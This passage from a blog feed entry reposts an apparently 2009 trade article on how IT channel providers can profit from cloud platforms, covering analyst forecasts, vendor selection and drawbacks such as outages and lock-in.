pros question their reliability and security, others are finding lucrative new ways to profit from them. "The opportunities are definitely out there," Dempsey says.&lt;br /&gt;&lt;br /&gt;Capacity on the fly&lt;br /&gt;&lt;br /&gt;The latest market projections seem to bear Dempsey out. According to analyst firm IDC, spending on cloud services will nearly triple over the next five years, hitting $42 billion by 2012. Moreover, predicts IDC, cloud-related outlays will account for 25 percent of IT spending growth in 2012 and nearly a third of growth in 2013.&lt;br /&gt;&lt;br /&gt;SMBs are responsible for a great deal of that spiking demand. "The most popular users of cloud platforms out there are small businesses," says James Staten, a principal analyst at Forrester Research Inc. That's no surprise, he adds. Notoriously short on cash, SMBs were bound to find an infrastructure model that frees them from buying and maintaining hardware attractive. Plus, since cloud vendors charge customers only for the platform resources they use, there's no overspending on underused server and storage capacity. "If your business is small and stays small, so does your bill," Staten notes. If you grow, your IT costs grow no faster than the rest of your company.&lt;br /&gt;&lt;br /&gt;Platform-as-a-service offerings provide increased flexibility too. Traditional server hosting companies usually insist on long-term rental agreements. Most cloud providers, however, let businesses tap into their resources for as long or short as they like. "Give them your credit card number and you're in business," Staten says. And you can scale that business as far and as quickly as you want.&lt;br /&gt;&lt;br /&gt;Consider the case of New York City-based Animoto Productions. The digital media startup's Web site, animoto.com, converts still images into music videos. When membership on the site grew from 25,000 to 250,000 in four feverish days, its Amazon Web Services infrastructure automatically kept pace, adding some 3,300 servers worth of capacity on the fly.&lt;br /&gt;&lt;br /&gt;Management muscle required&lt;br /&gt;&lt;br /&gt;Meanwhile, few SMBs can afford the kind of data center management muscle that cloud vendors employ. Most cloud platforms have multiple layers of redundancy at every potential point of failure, not to mention armies of technicians on 24/7 standby. And though some companies worry about the dangers of sharing server space with strangers, security is usually tighter in the cloud too. "We can afford data protection and fault-tolerance solutions that are far more robust than most of our clients can [afford]," says Mike Eaton, CEO of Cloudworks, a provider of cloud-based desktop and server solutions in Thousand Oaks, Calif.&lt;br /&gt;&lt;br /&gt;Not that cloud platforms aren't without their drawbacks, of course. For one thing, while most cloud vendors offer service-level agreements (SLAs), they rarely promise-or achieve-the fabled "five 9s" of availability. Indeed, both Amazon EC2 and Google App Engine experienced highly publicized, multihour outages last June. Then there's the problem of vendor "lock in." Today, at least, portability between clouds is extremely limited, so migrating solutions from one cloud to another can be somewhere between a chore and an impossibility.&lt;br /&gt;&lt;br /&gt;High dollars per hour&lt;br /&gt;&lt;br /&gt;Even so, cloud platforms continue to attract users. "At the beginning of [2008], cloud computing was a neat new idea that only some early adopters were using," says technology evangelist Michael Sheehan of GoGrid, a cloud platform provider in San Francisco and a division of ServePath. "Now I believe it should be included side by side with any IT recommendation that an IT reseller or solution provider delivers."&lt;br /&gt;&lt;br /&gt;And not just because customers like the new technology option, Sheehan and others say. The platform-as-a-service model has plenty to offer channel pros too. For starters, handing infrastructure management off to a cloud vendor enables solution providers to focus on more sophisticated tasks, like strategic IT consulting and customizing business applications.&lt;br /&gt;&lt;br /&gt;"Those sorts of things tend to be higher dollar-per-hour opportunities," Eaton notes. Moreover, as adoption of cloud-based services accelerates, businesses are sure to need help integrating them, both with each other and with on-premise systems. "There's a pretty big gap in the market in terms of delivering that expertise," observes Kris Tuttle, director of research at analyst firm Research 2.0.&lt;br /&gt;&lt;br /&gt;Leveraging the cloud could prove beneficial to managed service providers (MSPs) as well. Tapping into platform-as-a-service products enables MSPs to sell processing power and storage space along with the usual remote monitoring and backup services. SMBs are likely to find such an all-inclusive, "no capital option" tempting, says Brian Wolff, vice president of sales and marketing at BlueLock Co., a cloud provider with headquarters in Indianapolis.&lt;br /&gt;&lt;br /&gt;Posing tough questions&lt;br /&gt;&lt;br /&gt;Of course, once you've decided to make use of a cloud, you must next decide which one. There is a wide variety of cloud operators to choose from, ranging from corporate giants like Microsoft to smaller companies such as GoGrid and BlueLock. "Evaluate them carefully," Eaton of Cloudworks advises. "It's a really important relationship."&lt;br /&gt;&lt;br /&gt;Start by comparing the cloud vendor's offerings to your needs. Some cloud platforms, such as Amazon's EC2, essentially offer access to a complete virtual server. "That gives you the greatest degree of freedom in how you configure your application and the operating system," says Forrester's Staten. Other clouds, such as Google App Engine, give you little to no control over OS selection and setup options, but are far simpler to use. "Anybody who has the basic skills to write a Python script can drop that onto Google App Engine, and they take care of everything else," Staten says.&lt;br /&gt;&lt;br /&gt;Don't just assess a cloud vendor's technical capabilities, though. Pose the same tough questions you'd ask of any significant new partner. How long have they been in business, and how solid are they financially? What kind of support do they offer, and how strong is their SLA? How deep is their data center management know-how? And don't rely solely on the cloud provider for answers either. Ask an existing client or two how responsive the cloud vendor is to problems, and how often problems occur. "You really have to be careful about what people's claims are," Eaton warns.&lt;br /&gt;&lt;br /&gt;Needless to say, once you've found a cloud you like, experiment with it in-house before putting customer solutions onto it. In fact, Research 2.0's Tuttle recommends moving your own company's infrastructure onto the cloud as a good initial step. "My goal would be to create a suite of cloud-based applications that I really understand [and] that I can make work in my customer environments," he says. Once you're ready to trust your clients' systems to the cloud, start with the least-critical ones first. "The ability to hand off something that has less risk associated with it is always a good way to approach it," says Wolff of BlueLock.&lt;br /&gt;&lt;br /&gt;Ultimately, though, how you approach the cloud is less important than beginning your approach now. According to David Mitchell Smith, a vice president at Gartner Inc., channel pros without cloud computing skills could be at a competitive disadvantage as soon as 12 to 18 months from now, given the rapid rise in SMB demand. Tuttle shares that view. "The fact is that more and more services every day are going into the cloud," he says. "As a channel guy you need to get there, and you'd probably rather get there before your clients than after."&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-5387232771533502481?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/5387232771533502481/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=5387232771533502481' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/5387232771533502481'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/5387232771533502481'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/03/profits-in-cloud.html' title='Profits in the Cloud'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://
